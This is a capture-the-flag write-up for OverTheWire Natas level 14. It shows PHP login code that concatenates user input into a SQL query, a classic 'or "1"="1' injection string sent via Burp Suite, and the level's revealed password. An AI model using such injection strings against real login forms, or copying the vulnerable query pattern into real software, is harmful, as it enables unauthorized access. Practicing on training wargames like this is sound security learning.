OverTheWire: Natas

Level 14 > Level 15


<div id="content">
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
} else {

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

SQLi! And a pretty bad one at that. I did this in Burp Suite’s Repeater since you can manually control whether characters are encoded rather than the browser deciding for you. This being about the most obviously injectable page possible, the most classic injection does the trick. Mind ' vs ", have to admit that tripped me up for a few minutes before I noticed.

username=foo&password=foo" or "1"="1
<div id="content">
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>


TODO: elaborate on bool logic